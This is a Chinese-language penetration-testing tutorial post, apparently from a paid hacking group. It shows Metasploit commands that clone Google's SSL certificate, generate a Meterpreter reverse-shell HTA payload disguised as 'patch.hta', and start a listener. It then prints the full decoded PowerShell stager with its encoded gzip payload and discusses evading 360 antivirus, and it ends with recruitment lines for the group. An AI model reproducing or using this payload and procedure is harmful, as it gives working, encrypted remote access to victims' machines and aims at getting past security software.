使用
首先得拿到一个比较nice的pem文件,使用kali中的Impersonate_SSL模块,该模块通过选项中提供的经过身份验证的源的SSL证书创建本地副本,可以在提供SSLCert选项的Metasploit的所有模块中使用。
use auxiliary/gather/impersonate_ssl
msf6 auxiliary(gather/impersonate_ssl) > set rhost www.google.com
rhost => www.google.com
msf6 auxiliary(gather/impersonate_ssl) > run
这里我使用了代理,然后就获得google证书副本
生成木马文件,好像msfvenom不提供证书选项,所以只能老老实实的用msfconsole了
msf6 > use windows/meterpreter/reverse_tcp
msf6 payload(windows/meterpreter/reverse_tcp) > set lhost 192.168.75.131
lhost => 192.168.75.131
msf6 payload(windows/meterpreter/reverse_tcp) > set lport 443
lport => 443
msf6 payload(windows/meterpreter/reverse_tcp) > set StagerVerifySSLCert true
StagerVerifySSLCert => true
msf6 payload(windows/meterpreter/reverse_tcp) > set handlersslcert /root/.msf4/loot/20210326024706_default_172.217.26.132_172.217.26.132_p_760535.pem
handlersslcert => /root/.msf4/loot/20210326024706_default_172.217.26.132_172.217.26.132_p_760535.pem
msf6 payload(windows/meterpreter/reverse_tcp) > generate -f hta-psh -o /root/patch.hta
设立监听:
msf6 exploit(multi/handler) > set paylod windows/meterpreter/reverse_https
paylod => windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 192.168.75.131
lhost => 192.168.75.131
msf6 exploit(multi/handler) > set lport 443
lport => 443
msf6 exploit(multi/handler) > set StageVerifySSLCert true
StageVerifySSLCert => true
msf6 exploit(multi/handler) > set hanlersslcert /root/.msf4/loot/20210326024706_default_172.217.26.132_172.217.26.132_p_760535.pem
hanlersslcert => /root/.msf4/loot/20210326024706_default_172.217.26.132_172.217.26.132_p_760535.pem
msf6 exploit(multi/handler) > run
把生成hta文件拖到虚拟机,首先在没有360安全卫士和360杀毒的情况下进行测试。
rundll32.exe url.dll,OpenURL “patch.hta”
分析流量:从这里开始
就开始用ssl加密流量了。
后续安装了360安全卫士,360杀毒,静态无法查杀此hta马。
但是执行行为过不了,因为剖析次hta马,也是通过powershell去执行命令
把powershell要执行的base64字符串解码,发现,其继续内嵌powershell
if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAHWIXWACA7VWbW/iOBD+3Er9D9EKKYkuhfCi3W2llc6BBugSCoR3Fq3cxICLE9PEgXJ7+99vDEnbvbZ3uyddBMKxZ8Yzz/N4zCIJPUF5qPyxU76dnZ50cIQDRcvxO3NhKLmkXapz/eQEVnKL7Vj5pGgztNnUeIBpOL+8rCZRREJxfM/XiUBxTIJbRkms6cqfymhFInJ+c3tHPKF8U3Jf83XGbzFLzfZV7K2Ico5CX661uIdlMnl3w6jQ1C9fVH12Xpznr+4TzGJNdfexIEHeZ0zVle+63LC/3xBNdagX8ZgvRH5Ew3IpPwhjvCBtiLYlDhEr7seqDkXAJyIiiUJFliP9j6uaCsNOxD3k+xGJY9VQZjLybD7/XZul2/aSUNCA5JuhIBHfuCTaUo/E+QYOfUZ6ZDEHL1dENFzOdR3MtnxNtFyYMGYovxJGa5NdBtrPOmnPncCqIyLdACJflulwP2Hk6Ki+kueBex2eR/4Bue9np2eni0wsvLenz+UCo5PZYUwgPa3DY3qw+6SYhuLATljwaA+vuX6UEH3+CK6SI+vrsWW8HaCYWYMt70kFzoac+nPwSAnN+cVuT86/LcwaWdCQ1PYhDqiXaU97DWayYORQYz4za0NOmpouEL9GGFliIZGTbL9wuwqoePS1Esp8EiEPqIohK2BR/zGZIxma2gwdEgBGx3eQX24BiieZdaryfba7fAcjtcpwHBtKJ4Ej5xmKSzAjvqGgMKbpEkoEPwzVp3SdhAnq4Vhk4eZ6hmO6X5WHsYgSD2iD2vvuhngUMwmFoTSoT6y9S5fZvuqrQFQxY3ASINIWiIAZCYArpBgiSPFIvJ53iWgGG0YCMDocfpvhJRz1VPAH+eAl8dW/p5gp+ihfCUaGwrMEgWGXcWEoQxoJ6CESWFDRf9z+Wfc4JFKNSMqFlh2RmbUXUti5ze3t1zupyhSZAw6RAAzsiAcWjsn7yrFXaO8KN7SD4Jk0Q+b412tabO7g68B34Cx+a3l02REmDxyvGnfq9kdEd8ud97GNPP/aJxfusCLcq6aodlCjS02rsvIssw/jQVNMmk3RrKNGf+Uxs1NrFNxJbNJdYyRjHWN4lUpjbKJyuXJTNtcA3YQWl2vktwO6e2jBGJriTctqxpbZZFfX1d7tqGRPR6xRqNirxYjH7vtJrVAoXPi45uwRsrhfdvbjYo/3G15gVUJeuKhW1ugKoWp4NbQt/nliRahTGOLlhu8+r1rL0rKKUP0DJdPuwLa6XdtCg/rdfe2isCxcjMZ4ZY2GJTrdjHsreLd3ja5TMCtNnzzwj60RHW5lLOvesqdjjFrTvV0oFCdxCa8tjiwA1p7eo/pqsrE7DPz7gxJHQ9Z+su02ap+9afFD7Hx6J4kGpnP07v4ZfW/1XwdH8QozoBU6a3acbB7ZaavscCo9NA3u1zWJQsLgdoL7KxMkYox7slEfWipcEsfWLW+SAQzLpVdHuvJoqD918Gzq8nIKOYLGDxrMt0i4FCvDfCibJrRj86FiQo0/X1iVb/baMZYh+7lE5jE4OwTXpfRzu+1N+H9Clh63Ffz4/wbZ09w/rP4UjKZxKPjF7I8Tv4ToL9Y9wlSAnQu9gpHjffV6+ak4nt3pkhJgfpE+8i/ZTSLO23DVn53+Bc0wY038CQAA''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);
然后在安装了360安全卫士,360杀毒,继续执行
直接拦行为,就算我用powershell随便执行个1都会被拦,360说用powershell就是高位行为,我不管,必须拦死
后面继续研究怎么绕,不知道参数污染可以不,但是参数污染好像也不行,这放个1都拦。不愧是360安全卫士
星球营造良好的技术交流氛围,一直秉承着有问有答才是真正的技术交流,如果你喜欢分享,喜欢学习,那么请加入我们吧
老哥们纷纷放出大招,牛逼class
欢迎加入我们,学习技术,分享技术,解决难题